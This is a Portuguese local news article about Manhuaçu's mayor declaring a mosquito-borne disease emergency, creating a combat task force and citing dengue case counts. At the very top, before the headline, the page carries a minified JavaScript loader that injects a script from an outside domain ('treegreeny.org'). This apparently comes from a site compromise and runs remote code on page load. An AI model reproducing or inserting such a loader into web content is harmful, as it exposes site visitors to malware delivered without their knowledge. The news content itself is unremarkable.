;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Prefeito decreta situação de emergência por causa do Aedes Aegypt. - Portal Carangola

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Prefeito decreta situação de emergência por causa do Aedes Aegypt.

A proliferação do mosquito Aedes Aegypt, transmissor de vírus como o da Dengue, febre Chikungunya e Zica, levou o Prefeito de Manhuaçu, Nailton Heringer, a decretar situação de emergência em todo o território do município. O decreto do chefe do executivo foi publicado nesta quinta-feira, 21.
Considerando o número elevado de casos e iminente risco de epidemia no município, bem como a necessidade de se adotar medidas urgentes para redução e contenção da proliferação do mosquito, que o prefeito tomou essa atitude. “Na verdade, estamos agindo de acordo com a orientação do Ministério da Saúde há muito tempo e já tomamos inúmeras medidas preventivas. Posso destacar a limpeza de córregos e áreas públicas com maior necessidade, como praças e bueiros. Esse decreto que acabo de assinar é para antecipar ao problema, que Deus queira não nos atinja como tem sido em vários municípios do país. A intensão é alertar cada secretário, todo o governo e toda a população. Após esse período chuvoso, pode ser que tenhamos um agravamento do quadro, como é normal. Não é nenhum alerde, nenhum anúncio de problema grave em Manhuaçu, mas também não queremos que aconteça, por isso vamos contar com a cooperação de todos” – esclareceu Heringer.

GRUPO DE ENFRENTAMENTO
O decreto de situação de emergência traz consigo inúmeras medias a serem adotadas a partir da sua publicação. Uma das mais importantes é a criação do Grupo Executivo para Intensificação do Combate ao Aedes Aegypt – GEICAEDES, que visa à implantação de um Plano de Contingências de enfrentamento da anormalidade instalada. O objetivo do grupo é gerenciar e monitorar a intensificação das ações de mobilização e combate ao mosquito, para enfrentamento da Dengue, vírus Chikungunya e Zica vírus.
O Grupo Executivo para Intensificação do Combate ao Aedes Aegypt deve ser composto por representantes dos seguintes órgãos:
I – Secretaria Municipal de Saúde, (que a coordenará);
II – Secretaria Municipal de Administração;
III – Secretaria Municipal de Comunicação Social;
IV- Secretaria Municipal do Trabalho e Desenvolvimento Social;
V – Secretaria Municipal de Educação;
VI – Secretaria Municipal de Obras;
VII – Secretaria Municipal de Planejamento;
VIII – Serviço Autônomo de Água e Esgoto – SAAE;
IX – Serviço Autônomo Municipal de Limpeza Urbana – SAMAL;
X – Coordenação municipal de Defesa Civil;
XI – Secretaria Municipal de Agricultura Indústria e Comércio;

Para atingir o objetivo, o Grupo Executivo para Intensificação do Combate ao Aedes Aegypti – GEICAEDES deverá:

I – Planejar a execução das ações de mobilização e de combate ao mosquito no Município de Manhuaçu;
II – Mobilizar pessoal, insumos, equipamentos e logística para a intensificação da campanha de combate ao mosquito;
III – Coordenar, monitorar e supervisionar a execução das ações de mobilização e combate ao mosquito;
IV – Intensificar as ações de combate ao vetor;
V – Gerenciar os estoques de adulticidas e larvicidas;
VI – Informar à Sala Estadual de Coordenação e Controle as necessidades logísticas para o pronto cumprimento da mobilização e combate ao mosquito;
V – Realizar os levantamentos de dados para os indicadores;
VI – Consolidar dados e informações sobre a intensificação da campanha de combate ao mosquito;
VII – Remeter dados às Salas de Coordenação e Controle;
VIII – Integrar as equipes de agentes de endemias e comunitários de saúde nas atividades de mobilização e combate ao mosquito;
IX – Engajar as equipes de saúde para conscientização e orientação da população;
X – Envolver professores e alunos das instituições de ensino nas atividades de conscientização e orientação da população;
XI – Envolver o Ministério Público e o Poder Judiciário na intensificação da campanha;
XII – Incentivar a participação da sociedade civil organizada;
XIII – Conscientizar a sociedade sobre a importância da atuação de cada cidadão nos cuidados preventivos necessários para evitar a proliferação do mosquito nos ambientes;
XIV – Avaliar resultados da intensificação da campanha para orientar a continuidade das ações.
§ 1º – No desempenho de suas atividades a Grupo Executivo para Intensificação do Combate ao Aedes Aegypti – GEICAEDES deverá seguir as Diretrizes do Ministério da Saúde e da Secretaria de Estado de Saúde de Minas Gerais, especialmente as Diretrizes das Salas Nacional e Estadual de Coordenação e Controle.
§ 2º – Dentre as ações a serem desenvolvidas, deve necessariamente constar a limpeza do leito do Rio Manhuaçu dentro do perímetro urbano.

NÚMEROS PREOCUPANTES
No ano de 2015, foram 273 casos notificados de suspeita de dengue em Manhuaçu. Menos de 100 casos foram positivos, o que para a Vigilância Ambiental é considerado tolerável, visto que a população de Manhuaçu é de cerca de 80 mil habitantes, com população flutuante chegando a meio milhão de pessoas. O problema é que 2016, com apenas 21 dias, já existem 46 casos notificados suspeitos. “Já temos cidades próximas a Manhuaçu, como é o caso de Mutum, que já tem epidemia instalada desde o final do ano passado. O cenário nacional também é preocupante e a mídia tem noticiado todos os dias. Infelizmente a nossa cidade não está livre desse aumento da infestação, principalmente porque choveu bastante, e a tendência, é que a chegada do sol fortaleça a proliferação do Aedes Aegypt” – informou Emilce Estanislau Muniz, coordenadora de Vigilância Ambiental.
Ainda segundo Estanislau, o trabalho desenvolvido pela equipe de combate ao mosquito, tem sido intenso. A coordenadora da Vigilância Ambiental destacou as ações do poder público, mas garantiu que o papel principal é o do cidadão. “Podemos criar qualquer grupo de enfrentamento ou trazer até o exército para nos auxiliar, que nada vai valer se não houver a participação da população. Nossas equipes conseguem resultados importantes, mas dentro de cada residência a responsabilidade é do morador. É ele que está ali todo dia, que vai evitar o acúmulo de água, que vai colocar o lixo no horário adequado ao recolhimento e que vai eliminar a larva antes que ela vire mosquito” – alertou.
A Vigilância Ambiental começou uma série de reuniões com coordenadores de equipes de saúde e de unidades de saúde. O objetivo é mostrar em números a realidade no município, além de fazer dessas pessoas, agentes multiplicadores da proposta de agir contra o Aedes Aegypt.

Secretaria de Comunicação Social de Manhuaçu

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